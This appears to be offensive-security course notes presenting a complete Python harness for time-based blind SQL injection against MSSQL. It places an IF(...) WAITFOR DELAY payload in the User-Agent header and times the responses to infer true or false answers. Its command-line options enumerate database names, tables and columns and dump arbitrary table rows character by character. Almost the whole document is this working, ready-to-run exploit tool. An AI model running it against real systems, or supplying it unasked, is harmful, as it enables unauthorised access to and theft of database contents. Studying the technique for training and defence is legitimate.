Time-Based Blind
MSSQL time-based linear harness
The oracle accepts a SQL predicate and places it inside an MSSQL IF statement. A true predicate executes WAITFOR DELAY; a false predicate does not. oracle() measures the complete HTTP response time and returns a Python Boolean according to THRESHOLD.
The remaining extraction flow matches the Boolean version: determine a count, determine the length of one value, then test each character position. Only the request and timing behavior inside oracle() is target-specific.
The template places the payload in the User-Agent header to cover an injection sink that produces no visible database output. THRESHOLD should sit above normal baseline latency and below the injected DELAY. The SQL uses MSSQL syntax throughout: LEN, SUBSTRING, ASCII, db_name(), sys.databases, information_schema, and OFFSET ... FETCH NEXT.
import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
import string
import time
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
DELAY = 2
THRESHOLD = 1.5
parser = argparse.ArgumentParser(
description="MSSQL time-based blind SQL injection dumping harness.",
epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns_to_dump", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
PROXY = PROXY.strip()
PROXIES = {
"http": PROXY,
"https": PROXY
}
else:
PROXIES = {}
URL = args.target.rstrip("/").strip()
def oracle(s, query):
start = time.time()
headers = {
"User-Agent": f"';IF({query}) WAITFOR DELAY '0:0:{DELAY}'--"
}
try:
s.get(url=URL, headers=headers, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"{Fore.RED}\n[-] Could not make request: {e}")
sys.exit(1)
if time.time() - start > THRESHOLD:
return True
return False
def get_count(s, query, label):
count = 0
while True:
print(f"\r[+] Bruteforcing number of {label}: {count}", end="", flush=True)
count_query = f"({query})={count}"
if oracle(s, count_query) == True:
print(f"{Fore.GREEN}\n[+] Number of {label}: {count}")
return count
count += 1
def get_length(s, query, label):
length = 0
while True:
print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
length_query = f"LEN(({query}))={length}"
if oracle(s, length_query) == True:
print(f"{Fore.GREEN}\n[+] Length of {label}: {length}")
return length
length += 1
def dump_value(s, query, label):
value = ""
length = get_length(s, query, label)
for pos in range(1, length + 1):
for char in CHARSET:
print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
# ord returns the corresponding decimal number the string has in the ASCII table
dump_query = f"ASCII(SUBSTRING(({query}),{pos},1))={ord(char)}"
if oracle(s, dump_query):
value += char
break
print(f"{Fore.GREEN}\n[+] {label}: {value}")
return value
if __name__ == "__main__":
s = requests.Session()
if args.current_db:
dump_value(s, "SELECT db_name()", "current database name")
if args.databases:
database_count = get_count(s, "SELECT COUNT(*) FROM sys.databases", "databases")
for pos in range(0, database_count):
query = f"SELECT name FROM sys.databases ORDER BY name OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
label = f"database number {pos}"
dump_value(s, query, label)
if args.tables:
database = args.database
if not database:
print(f"{Fore.RED}\n[-] It is required to specify the database to dump table names from.")
sys.exit(1)
table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_catalog='{database}'", "table count")
for pos in range(0, table_count):
query = f"SELECT table_name FROM information_schema.tables WHERE table_catalog='{database}' ORDER BY table_name OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
label = f"table number {pos}"
dump_value(s, query, label)
if args.columns:
database = args.database
table = args.table
if not database or not table:
print(f"{Fore.RED}\n[-] It is required to specify the database and table to dump column names from.")
sys.exit(1)
column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_catalog='{database}' AND table_name='{args.table}'", "column count")
for pos in range(0, column_count):
query = f"SELECT column_name FROM information_schema.columns WHERE table_catalog='{database}' AND table_name='{args.table}' ORDER BY column_name OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
label = f"column number {pos}"
dump_value(s, query, label)
if args.dump:
database = args.database
table = args.table
columns = args.columns_to_dump
if not database or not table or not columns:
print(f"{Fore.RED}\n[-] It is required to specify the database,table and columns to dump data from.")
sys.exit(1)
columns_list = columns.split(",")
row_count = get_count(s, f"SELECT COUNT(*) FROM {database}.dbo.{args.table}", "row count")
for pos in range(0, row_count):
for column in columns_list:
query = f"SELECT CAST({column} AS NVARCHAR(4000)) FROM {database}.dbo.{args.table} ORDER BY {column} OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
label = f"{table}.{column} row {pos}"
dump_value(s, query, label)Find by: mssql, time based blind sqli, waitfor delay, user-agent, len, substring, ascii, db_name, sys.databases, offset fetch, sqlmap style cli · Source: CWEE/Blind SQL Injection